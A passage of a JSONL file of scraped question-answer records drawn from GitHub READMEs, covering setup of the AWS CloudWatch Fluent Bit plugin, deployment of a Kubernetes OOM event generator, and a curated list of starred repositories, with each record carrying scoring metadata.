\"EXPIRATION_DATE\",\n    \"SecretAccessKey\": \"SECRET_ACCESS_KEY\",\n    \"Token\": \"SECURITY_TOKEN_STRING\"\n}\n```\n\n**Note**: The plugin will always create the log stream, if it does not exist.", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 189, "answer_score": 10, "has_code": true, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629227"}
{"id": "gh_b12247824fb1", "question": "How to: Permissions", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "This plugin requires the following permissions:\n* CreateLogGroup (useful when using dynamic groups)\n* CreateLogStream\n* DescribeLogStreams\n* PutLogEvents\n* PutRetentionPolicy (if `log_retention_days` is set > 0)", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629233"}
{"id": "gh_58f5eeb9026b", "question": "How to: Credentials", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "This plugin uses the AWS SDK Go, and uses its [default credential provider chain](https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html). If you are using the plugin on Amazon EC2 or Amazon ECS or Amazon EKS, the plugin will use your EC2 instance role or [ECS Task role permissions](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html) or [EKS IAM Roles for Service Accounts for pods](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html). The plugin can also retrieve credentials from a [shared credentials file](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html), or from the standard `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN` environment variables.", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629241"}
{"id": "gh_b44c924ffb1d", "question": "How to: Retries and Buffering", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "Buffering and retries are managed by the Fluent Bit core engine, not by the plugin. Whenever the plugin encounters any error, it returns a retry to the engine which schedules a retry. This means that log group creation, log stream creation or log retention policy calls can consume a retry if they fail.\n\n* [Fluent Bit upstream documentation on retries](https://docs.fluentbit.io/manual/administration/scheduling-and-retries)\n* [Fluent Bit upstream documentation on buffering](https://docs.fluentbit.io/manual/administration/buffering-and-storage)\n* [FireLens OOMKill prevent example for buffering](https://github.com/aws-samples/amazon-ecs-firelens-examples/tree/mainline/examples/fluent-bit/oomkill-prevention)", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629255"}
{"id": "gh_3c81e57057e3", "question": "How to: Templating Log Group and Stream Names", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "A template in the form of `$(variable)` can be set in `log_group_name` or `log_stream_name`. `variable` can be a map key name in the log message. To access sub-values in the map use the form `$(variable['subkey'])`. Also, it can be replaced with special values to insert the tag, ECS metadata or a random string in the name.\n\n Special Values:\n *  `$(tag)` references the full tag name, `$(tag[0])` and `$(tag[1])` are the first and second values of log tag split on periods. You may access any member by index, 0 through 9.\n *  `$(uuid)` will insert a random string in the names. The random string is generated automatically with format: 4 bytes of time (seconds) + 16 random bytes. It is created when the plugin starts up and uniquely identifies the output - which means that until Fluent Bit is restarted, it will be the same. If you have multiple CloudWatch outputs, each one will get a unique UUID.\n * If your container is running in ECS, `$(variable)` can be set as `$(ecs_task_id)`, `$(ecs_cluster)` or `$(ecs_task_arn)`. It will set ECS metadata into `log_group_name` or `log_stream_name`.\n\n Here is an example for `fluent-bit.conf`:\n\n```\n[INPUT]\n    Name        dummy\n    Tag         dummy.data\n    Dummy {\"pam\": {\"item\": \"soup\", \"item2\":{\"subitem\": \"rice\"}}}\n\n[OUTPUT]\n    Name cloudwatch\n    Match   *\n    region us-east-1\n    log_group_name fluent-bit-cloudwatch-$(uuid)-$(tag)\n    log_stream_name from-fluent-bit-$(pam['item2']['subitem'])-$(ecs_task_id)-$(ecs_cluster)\n    auto_create_group true\n```\n\nAnd here is the resulting log stream name and log group name:\n\n```\nlog_group_name fluent-bit-cloudwatch-1jD7P6bbSRtbc9stkWjJZYerO6s-dummy.data\nlog_stream_name from-fluent-bit-rice-37e873f6-37b4-42a7-af47-eac7275c6152-ecs-local-cluster\n```\n\n#### Templating Log Group and Stream Names based on Kubernetes metadata\n\nIf you enable the kubernetes filter, then metadata like the following will be added to each log:\n\n```\nkubernetes: {\n    annotations: {\n        \"kubernetes.io/psp\": \"eks.privileged\"\n    },\n    container_hash: \"\n\",\n    container_name: \"myapp\",\n    docker_id: \"\n\",\n    host: \"ip-10-1-128-166.us-east-2.compute.internal\",\n    labels: {\n        app: \"myapp\",\n        \"pod-template-hash\": \"\n\"\n    },\n    namespace_name: \"default\",\n    pod_id: \"198f7dd2-2270-11ea-be47-0a5d932f5920\",\n    pod_name: \"myapp-5468c5d4d7-n2swr\"\n}\n```\n\nFor help setting up Fluent Bit with kubernetes please see [Kubernetes Logging Powered by AWS for Fluent Bit](https://aws.amazon.com/blogs/containers/kubernetes-logging-powered-by-aws-for-fluent-bit/) or [Set up Fluent Bit as a DaemonSet to send logs to CloudWatch Logs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Insights-setup-logs-FluentBit.html).\n\nThe kubernetes metadata can be referenced just like any other keys using the templating feature, for example, the following will result in a log group name which is `/eks/{namespace_name}/{pod_name}`. \n\n```\n    [OUTPUT]\n      Name              cloudwatch\n      Match             kube.*\n      region            us-east-1\n      log_group_name    /eks/$(kubernetes['namespace_name'])/$(kubernetes['pod_name'])\n      log_stream_name   $(kubernetes['namespace_name'])/$(kubernetes['container_name'])\n      auto_create_group true\n```", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 189, "answer_score": 10, "has_code": true, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629267"}
{"id": "gh_76fa71ff0729", "question": "How to: New Higher Performance Core Fluent Bit Plugin", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "In the summer of 2020, we released a [new higher performance CloudWatch Logs plugin](https://docs.fluentbit.io/manual/pipeline/outputs/cloudwatch) named `cloudwatch_logs`.\n\nThat plugin has a core subset of the features of this older, lower performance and less efficient plugin. Check out its [documentation](https://docs.fluentbit.io/manual/pipeline/outputs/cloudwatch).\n\n#### Do you plan to deprecate this older plugin?\n\nAt this time, we do not. This plugin will continue to be supported. It contains features that have not been ported to the higher performance version. Specifically, the feature for [templating of log group name and streams with ECS Metadata or values in the logs](#templating-log-group-and-stream-names). While [simple templating support](https://docs.fluentbit.io/manual/pipeline/outputs/cloudwatch#log-stream-and-group-name-templating-using-record_accessor-syntax) now exists in the high performance plugin, it does not have all of the features of the plugin in this repo. Some users will continue to need the features in this repo. \n\n#### Which plugin should I use?\n\nIf the features of the higher performance plugin are sufficient for your use cases, please use it. It can achieve higher throughput and will consume less CPU and memory.\n\n#### How can I migrate to the higher performance plugin?\n\nIt supports a subset of the options of this plugin. For many users, you can simply replace the plugin name `cloudwatch` with the new name `cloudwatch_logs`. Check out its [documentation](https://docs.fluentbit.io/manual/pipeline/outputs/cloudwatch). \n\n#### Do you accept contributions to both plugins?\n\nYes. The high performance plugin is written in C, and this plugin is written in Golang. We understand that Go is an easier language for amateur contributors to write code in- that is a key reason why we are continuing to maintain it.\n\nHowever, if you can write code in C, please consider contributing new features to the [higher performance plugin](https://github.com/fluent/fluent-bit/tree/master/plugins/out_cloudwatch_logs).", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629279"}
{"id": "gh_fc1080164390", "question": "How to: Fluent Bit Versions", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "This plugin has been tested with Fluent Bit 1.2.0+. It may not work with older Fluent Bit versions. We recommend using the latest version of Fluent Bit as it will contain the newest features and bug fixes.", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629284"}
{"id": "gh_b0e51a5d5862", "question": "How to: Example Fluent Bit Config File", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "```\n[INPUT]\n    Name        forward\n    Listen      0.0.0.0\n    Port        24224\n\n[OUTPUT]\n    Name cloudwatch\n    Match   *\n    region us-east-1\n    log_group_name fluent-bit-cloudwatch\n    log_stream_prefix from-fluent-bit-\n    auto_create_group true\n```", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 189, "answer_score": 10, "has_code": true, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629290"}
{"id": "gh_ba66e20a5a20", "question": "How to: AWS for Fluent Bit", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "We distribute a container image with Fluent Bit and these plugins.\n\n##### GitHub\n\n[github.com/aws/aws-for-fluent-bit](https://github.com/aws/aws-for-fluent-bit)\n\n##### Amazon ECR Public Gallery\n\n[aws-for-fluent-bit](https://gallery.ecr.aws/aws-observability/aws-for-fluent-bit)\n\nOur images are available in Amazon ECR Public Gallery. You can download images with different tags by following command:\n\n```\ndocker pull public.ecr.aws/aws-observability/aws-for-fluent-bit:\n```\n\nFor example, you can pull the image with latest version by:\n\n```\ndocker pull public.ecr.aws/aws-observability/aws-for-fluent-bit:latest\n```\n\nIf you see errors for image pull limits, try log into public ECR with your AWS credentials:\n\n```\naws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws\n```\n\nYou can check the [Amazon ECR Public official doc](https://docs.aws.amazon.com/AmazonECR/latest/public/get-set-up-for-amazon-ecr.html) for more details.\n\n##### Docker Hub\n\n[amazon/aws-for-fluent-bit](https://hub.docker.com/r/amazon/aws-for-fluent-bit/tags)\n\n##### Amazon ECR\n\nYou can use our SSM Public Parameters to find the Amazon ECR image URI in your region:\n\n```\naws ssm get-parameters-by-path --path /aws/service/aws-for-fluent-bit/\n```\n\nFor more see [our docs](https://github.com/aws/aws-for-fluent-bit#public-images).", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 189, "answer_score": 10, "has_code": true, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629298"}
{"id": "gh_1218d143dccc", "question": "How to: Deployment", "question_body": "About xing/kubernetes-oom-event-generator", "answer": "Example Clusterrole:\n\n    ---\n    apiVersion: rbac.authorization.k8s.io/v1beta1\n    kind: ClusterRole\n    metadata:\n      name: xing:controller:kubernetes-oom-event-generator\n    rules:\n      - apiGroups:\n          - \"\"\n        resources:\n          - pods\n          - pods/status\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - \"\"\n        resources:\n          - events\n        verbs:\n          - create\n          - patch\n          - list\n          - watch\n\nRun this controller on Kubernetes with the following commands:\n\n    kubectl create serviceaccount kubernetes-oom-event-generator \\\n      --namespace=kube-system\n\n    kubectl create -f path/to/example-clusterrole.yml\n    # alternatively run: `cat | kubectl create -f -` and paste the above example, hit Ctrl+D afterwards.\n\n    kubectl create clusterrolebinding xing:controller:kubernetes-oom-event-generator \\\n      --clusterrole=xing:controller:kubernetes-oom-event-generator \\\n      --serviceaccount=kube-system:kubernetes-oom-event-generator\n\n    kubectl run kubernetes-oom-event-generator \\\n      --image=xingse/kubernetes-oom-event-generator \\\n      --env=VERBOSE=2 \\\n      --serviceaccount=kubernetes-oom-event-generator \\\n      --namespace=kube-system", "tags": ["xing"], "source": "github_gists", "category": "xing", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 171, "answer_score": 10, "has_code": true, "url": "https://github.com/xing/kubernetes-oom-event-generator", "collected_at": "2026-01-17T12:54:54.260489"}
{"id": "gh_72b5dcfa99a4", "question": "How to: Alerting on OOM killed pods", "question_body": "About xing/kubernetes-oom-event-generator", "answer": "There are many different ways to send alerts when an OOM occurs. We just want to\nmention two of them here.", "tags": ["xing"], "source": "github_gists", "category": "xing", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 171, "answer_score": 10, "has_code": false, "url": "https://github.com/xing/kubernetes-oom-event-generator", "collected_at": "2026-01-17T12:54:54.260504"}
{"id": "gh_9470b111ad88", "question": "How to: Forwarding OOM events to Graylog", "question_body": "About xing/kubernetes-oom-event-generator", "answer": "Graylog is a popular log management solution, and it includes an alerting feature.\nSee the [Graylog docs] for more details.\n\nAt XING we forward all Kubernetes cluster events to Graylog using our\n[kubernetes-event-forwarder-gelf]. This allows us to configure alerts whenever a\n`PreviousContainerWasOOMKilled` event generated by the `kubernetes-oom-event-generator`\noccurs.", "tags": ["xing"], "source": "github_gists", "category": "xing", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 171, "answer_score": 10, "has_code": false, "url": "https://github.com/xing/kubernetes-oom-event-generator", "collected_at": "2026-01-17T12:54:54.260511"}
{"id": "gh_7aa2e45d5e43", "question": "How to: Using kube-state-metrics and Prometheus alerts", "question_body": "About xing/kubernetes-oom-event-generator", "answer": "When [kube-state-metrics] is deployed in the cluster and a [Prometheus] installation\nis scraping the metrics, you can alert on OOM-killed pods using the prometheus alert manager.\n\nExample alert:\n\n    alert: ComponentOutOfMemory\n    expr: sum_over_time(kube_pod_container_status_terminated_reason{reason=\"OOMKilled\"}[5m])\n      > 0\n    for: 10s\n    labels:\n      severity: warning\n    annotations:\n      description: Critical Pod {{$labels.namespace}}/{{$labels.pod}} was OOMKilled.\n\nThe downside is that `kube_pod_container_status_terminated_reason` always returns to 0 once\na container starts back up. See the introduction of\n[`kube_pod_container_status_last_terminated_reason`] for more details.", "tags": ["xing"], "source": "github_gists", "category": "xing", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 171, "answer_score": 10, "has_code": true, "url": "https://github.com/xing/kubernetes-oom-event-generator", "collected_at": "2026-01-17T12:54:54.260519"}
{"id": "gh_273747f257b3", "question": "How to: Developing", "question_body": "About xing/kubernetes-oom-event-generator", "answer": "You will need a working Go installation (1.11+) and the `make` program.  You will also\nneed to clone the project to a place outside you normal go code hierarchy (usually\n`~/go`), as it uses the new [Go module system].\n\nAll build and install steps are managed in the central `Makefile`. `make test` will fetch\nexternal dependencies, compile the code and run the tests. If all goes well, hack along\nand submit a pull request. You might need to modify the `go.mod` to specify desired\nconstraints on dependencies.\n\nMake sure to run `go mod tidy` before you check in after changing dependencies in any way.\n\n[Go module system]: https://github.com/golang/go/wiki/Modules\n[`xingse/kubernetes-oom-event-generator`]: https://hub.docker.com/r/xingse/kubernetes-oom-event-generator\n[Graylog docs]: https://docs.graylog.org/\n[kubernetes-event-forwarder-gelf]: https://github.com/xing/kubernetes-event-forwarder-gelf\n[kube-state-metrics]: https://github.com/kubernetes/kube-state-metrics\n[Prometheus]: https://prometheus.io\n[`kube_pod_container_status_last_terminated_reason`]: https://github.com/kubernetes/kube-state-metrics/pull/535", "tags": ["xing"], "source": "github_gists", "category": "xing", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 171, "answer_score": 10, "has_code": false, "url": "https://github.com/xing/kubernetes-oom-event-generator", "collected_at": "2026-01-17T12:54:54.260528"}
{"id": "gh_3494e01f8053", "question": "How to: Awesome Stars [![Awesome](https://awesome.re/badge.svg)](https://github.com/sindresorhus/awesome)", "question_body": "About eagleusb/awesome-repositories", "answer": "> A curated list of my GitHub stars! Generated by [starred](https://github.com/maguowei/starred).", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.323959"}
{"id": "gh_4921f95771ea", "question": "How to: CoffeeScript", "question_body": "About eagleusb/awesome-repositories", "answer": "- [DavidLGoldberg/jumpy](https://github.com/DavidLGoldberg/jumpy) - The fastest way to jump around files and across visible panes in Atom\n- [yakyak/yakyak](https://github.com/yakyak/yakyak) - Desktop chat client for Google Hangouts", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324119"}
{"id": "gh_d03aba2afa76", "question": "How to: Dockerfile", "question_body": "About eagleusb/awesome-repositories", "answer": "- [microsoft/code-with-engineering-playbook](https://github.com/microsoft/code-with-engineering-playbook) - This is the playbook for \"code-with\" customer or partner engagements\n- [wader/static-ffmpeg](https://github.com/wader/static-ffmpeg) - Multi-arch docker image with ffmpeg/ffprobe binaries built as hardened static PIE binaries with no external dependencies\n- [aantonw/docker-alpine-wkhtmltopdf-patched-qt](https://github.com/aantonw/docker-alpine-wkhtmltopdf-patched-qt) - Alpine Linux 3.9 wkhtmltopdf 0.12.5 (with patched qt)\n- [nats-io/jetstream](https://github.com/nats-io/jetstream) - JetStream Utilities\n- [radxa/rockchip-bsp](https://github.com/radxa/rockchip-bsp) - Linux BSP for ROCK Pi\n- [goldbergyoni/nodebestpractices](https://github.com/goldbergyoni/nodebestpractices) - :white_check_mark:  The Node.js best practices list (July 2024)\n- [GoogleCloudPlatform/cloud-sdk-docker](https://github.com/GoogleCloudPlatform/cloud-sdk-docker) - Google Cloud CLI Docker Image - Docker Image containing the gcloud CLI and its bundled components.\n- [PagerDuty/incident-response-docs](https://github.com/PagerDuty/incident-response-docs) - PagerDuty's Incident Response Documentation.\n- [jessfraz/dockerfiles](https://github.com/jessfraz/dockerfiles) - Various Dockerfiles I use on the desktop and on servers.", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324133"}
{"id": "gh_002cbcc62eeb", "question": "How to: Emacs Lisp", "question_body": "About eagleusb/awesome-repositories", "answer": "- [shapr/markovkeyboard](https://github.com/shapr/markovkeyboard) - keyboard layout that changes by markov frequency", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324139"}
{"id": "gh_c35f6f417595", "question": "How to: FreeMarker", "question_body": "About eagleusb/awesome-repositories", "answer": "- [mozilla/send](https://github.com/mozilla/send) - Simple, private file sharing from the makers of Firefox", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324145"}
{"id": "gh_630ef7406e0a", "question": "How to: Handlebars", "question_body": "About eagleusb/awesome-repositories", "answer": "- [rtorr/vim-cheat-sheet](https://github.com/rtorr/vim-cheat-sheet) - A mobile friendly Vim cheat sheet", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324614"}
{"id": "gh_cdf2e0709d3d", "question": "How to: JavaScript", "question_body": "About eagleusb/awesome-repositories", "answer": "- [vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills) - \n- [microlinkhq/top-user-agents](https://github.com/microlinkhq/top-user-agents) - An always up-to-date list of the top 100 HTTP user-agents most used over the Internet.\n- [harvard-edge/cs249r_book](https://github.com/harvard-edge/cs249r_book) - Introduction to Machine Learning Systems\n- [lklynet/hypermind](https://github.com/lklynet/hypermind) - The High-Availability Solution to a Problem That Doesn't Exist.\n- [zen-browser/desktop](https://github.com/zen-browser/desktop) - Welcome to a calmer internet\n- [serverless-dns/serverless-dns](https://github.com/serverless-dns/serverless-dns) - The RethinkDNS resolver that deploys to Cloudflare Workers, Deno Deploy, Fastly, and Fly.io\n- [eigilnikolajsen/commit-mono](https://github.com/eigilnikolajsen/commit-mono) - Commit Mono is an anonymous and neutral programming typeface.\n- [BrowserWorks/waterfox](https://github.com/BrowserWorks/waterfox) - The official Waterfox 💧 source code repository\n- [abhixdd/UptimeKit-CLI](https://github.com/abhixdd/UptimeKit-CLI) - A modern, cross‑platform CLI to monitor websites and APIs.\n- [RapidFireAI/rapidfireai](https://github.com/RapidFireAI/rapidfireai) - RapidFire AI: Rapid AI Customization from RAG to Fine-Tuning\n- [marko-js/marko](https://github.com/marko-js/marko) - A declarative, HTML-based language that makes building web apps fun\n- [sindresorhus/p-limit](https://github.com/sindresorhus/p-limit) - Run multiple promise-returning & async functions with limited concurrency\n- [pguso/ai-agents-from-scratch](https://github.com/pguso/ai-agents-from-scratch) - Demystify AI agents by building them yourself. Local LLMs, no black boxes, real understanding of function calling, memory, and ReAct patterns.\n- [alam00000/bentopdf](https://github.com/alam00000/bentopdf) - A Privacy First PDF Toolkit\n- [tdjsnelling/sqtracker](https://github.com/tdjsnelling/sqtracker) - A modern private BitTorrent tracker platform\n- [JonathanChavezTamales/llm-leaderboard](https://github.com/JonathanChavezTamales/llm-leaderboard) - A comprehensive set of LLM benchmark scores and provider prices. (deprecated, read more in README)\n- [PAIR-code/llm-comparator](https://github.com/PAIR-code/llm-comparator) - LLM Comparator is an interactive data visualization tool for evaluating and analyzing LLM responses side-by-side, developed by the PAIR team.\n- [huggingface/transformers.js](https://github.com/huggingface/transformers.js) - State-of-the-art Machine Learning for the web. Run 🤗 Transformers directly in your browser, with no need for a server!\n- [poloclub/transformer-explainer](https://github.com/poloclub/transformer-explainer) - Transformer Explained Visually: Learn How LLM Transformer Models Work with Interactive Visualization\n- [GSConnect/gnome-shell-extension-gsconnect](https://github.com/GSConnect/gnome-shell-extension-gsconnect) - KDE Connect implementation for GNOME\n- [node-red/node-red](https://github.com/node-red/node-red) - Low-code programming for event-driven applications\n- [good-lly/s3mini](https://github.com/good-lly/s3mini) - 👶 Tiny S3 client. Edge computing ready. No-dep. In Typescript. Works with @cloudflare @minio @backblaze @digitalocean @garagehq @oracle\n- [mozilla-firefox/firefox](https://github.com/mozilla-firefox/firefox) - The official repository of Mozilla's Firefox web browser.\n- [CyferShepard/Jellystat](https://github.com/CyferShepard/Jellystat) - Jellystat is a free and open source Statistics App for Jellyfin\n- [mermaid-js/mermaid-cli](https://github.com/mermaid-js/mermaid-cli) - Command line tool for the Mermaid library\n- [wix-incubator/pro-gallery](https://github.com/wix-incubator/pro-gallery) - Blazing fast & beautiful galleries built for the web\n- [floccusaddon/floccus](https://github.com/floccusaddon/floccus) - :cloud: Sync your bookmarks privately across browsers and devices\n- [schlagmichdoch/PairDrop](https://github.com/schlagmichdoch/PairDrop) - PairDrop: Transfer Files Cross-Platform. No Setup, No Signup.\n- [OpenSignLabs/OpenSign](https://github.com/OpenSignLabs/OpenSign) - 🔥 The free & Open Source DocuSign alternative\n- [thepersonalaicompany/amurex](https://github.com/thepersonalaicompany/amurex) - World's first AI meeting copilot → The Invisible Companion for Work + Life\n- [actualbudget/actual-server](https://github.com/actualbudget/actual-server) - Actual's server\n- [vexorian/dizquetv](https://github.com/vexorian/dizquetv) - Create live TV channels from your own media. Access the streams using the simulated HDHomerun tuner or the generated M3U URl.\n- [automatisch/automatisch](https://github.com/automatisch/automatisch) - The open source Zapier alternative. Build workflow automation without spending time and money.\n- [crocodilestick/Calibre-Web-Automated](https://github.com/crocodilestick/Calibre-Web-Automated) - Calibre-Web but Automated and with tons of New Features! Fully automate and simplify your eBook set up!\n- [shane-borden/sqlScripts](https://g", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324800"}
{"id": "gh_38d471d13705", "question": "How to: Jupyter Notebook", "question_body": "About eagleusb/awesome-repositories", "answer": "- [allenai/OLMoE](https://github.com/allenai/OLMoE) - OLMoE: Open Mixture-of-Experts Language Models\n- [hesamsheikh/ml-retreat](https://github.com/hesamsheikh/ml-retreat) - Machine Learning Journal for Intermediate to Advanced Topics.\n- [microsoft/AI-For-Beginners](https://github.com/microsoft/AI-For-Beginners) - 12 Weeks, 24 Lessons, AI for All!\n- [QwenLM/Qwen2.5-Omni](https://github.com/QwenLM/Qwen2.5-Omni) - Qwen2.5-Omni is an end-to-end multimodal model by Qwen team at Alibaba Cloud, capable of understanding text, audio, vision, video, and performing real-time speech generation.\n- [adrida/tarmac](https://github.com/adrida/tarmac) - Explainable git diff for your ML models\n- [AnswerDotAI/llms-txt](https://github.com/AnswerDotAI/llms-txt) - The /llms.txt file, helping language models use your website\n- [unslothai/notebooks](https://github.com/unslothai/notebooks) - 100+ Fine-tuning Tutorial Notebooks on Google Colab, Kaggle and more.\n- [google-gemini/gemini-fullstack-langgraph-quickstart](https://github.com/google-gemini/gemini-fullstack-langgraph-quickstart) - Get started with building Fullstack Agents using Gemini 2.5 and LangGraph\n- [google-gemini/cookbook](https://github.com/google-gemini/cookbook) - Examples and guides for using the Gemini API\n- [huggingface/optimum-intel](https://github.com/huggingface/optimum-intel) - 🤗 Optimum Intel: Accelerate inference with Intel optimization tools\n- [huggingface/smol-course](https://github.com/huggingface/smol-course) - A course on aligning smol models.\n- [GoogleCloudPlatform/generative-ai](https://github.com/GoogleCloudPlatform/generative-ai) - Sample code and notebooks for Generative AI on Google Cloud, with Gemini on Vertex AI\n- [XiongjieDai/GPU-Benchmarks-on-LLM-Inference](https://github.com/XiongjieDai/GPU-Benchmarks-on-LLM-Inference) - Multiple NVIDIA GPUs or Apple Silicon for Large Language Model Inference?\n- [meta-llama/llama-cookbook](https://github.com/meta-llama/llama-cookbook) - Welcome to the Llama Cookbook! This is your go to guide for Building with Llama: Getting started with Inference, Fine-Tuning, RAG. We also show you how to solve end to end problems using Llama model f\n- [QwenLM/Qwen3-VL](https://github.com/QwenLM/Qwen3-VL) - Qwen3-VL is the multimodal large language model series developed by Qwen team, Alibaba Cloud.\n- [bellingcat/smart-image-sorter](https://github.com/bellingcat/smart-image-sorter) - User friendly zero-shot image classification using open-source models from the Hugging Face library\n- [google-gemini/gemma-cookbook](https://github.com/google-gemini/gemma-cookbook) - A collection of guides and examples for the Gemma open models from Google.\n- [microsoft/generative-ai-for-beginners](https://github.com/microsoft/generative-ai-for-beginners) - 21 Lessons, Get Started Building with Generative AI\n- [rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) - Implement a ChatGPT-like LLM in PyTorch from scratch, step by step\n- [bofenghuang/vigogne](https://github.com/bofenghuang/vigogne) - French instruction-following and chat models\n- [mistralai/mistral-inference](https://github.com/mistralai/mistral-inference) - Official inference library for Mistral models\n- [facebookresearch/audiocraft](https://github.com/facebookresearch/audiocraft) - Audiocraft is a library for audio processing and generation with deep learning. It features the state-of-the-art EnCodec audio compressor / tokenizer, along with MusicGen, a simple and controllable mu\n- [stefan-jansen/machine-learning-for-trading](https://github.com/stefan-jansen/machine-learning-for-trading) - Code for Machine Learning for Algorithmic Trading, 2nd edition.\n- [alphacep/vosk-api](https://github.com/alphacep/vosk-api) - Offline speech recognition API for Android, iOS, Raspberry Pi and servers with Python, Java, C# and Node\n- [burstable-ai/burst](https://github.com/burstable-ai/burst) - Command-line tool to remotely execute code in the cloud\n- [etalab/calculette-impots-m-language-parser](https://github.com/etalab/calculette-impots-m-language-parser) - Calculette de l'impôt sur le revenu parsée\n- [unsplash/datasets](https://github.com/unsplash/datasets) - 🎁  6,500,000+ Unsplash images made available for research and machine learning\n- [NVIDIA/DeepLearningExamples](https://github.com/NVIDIA/DeepLearningExamples) - State-of-the-Art Deep Learning scripts organized by models - easy to train and deploy with reproducible accuracy and performance on enterprise-grade infrastructure.\n- [fastai/course-nlp](https://github.com/fastai/course-nlp) - A Code-First Introduction to NLP course\n- [graykode/nlp-tutorial](https://github.com/graykode/nlp-tutorial) - Natural Language Processing Tutorial for Deep Learning Researchers\n- [fastai/fastai](https://github.com/fastai/fastai) - The fastai deep learning library\n- [CME211/notes](https://github.com/CME211/notes) - CME211 Notes\n- [virgili0/Virgilio](https://github.com/virgili0/Virgilio) - Your new Mentor for Data Science E-Learning.\n- [christop", "tags": ["eagleusb"], "source": "github_gists", "category": "eagleusb", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 157, "answer_score": 10, "has_code": false, "url": "https://github.com/eagleusb/awesome-repositories", "collected_at": "2026-01-17T12:54:56.324829"}
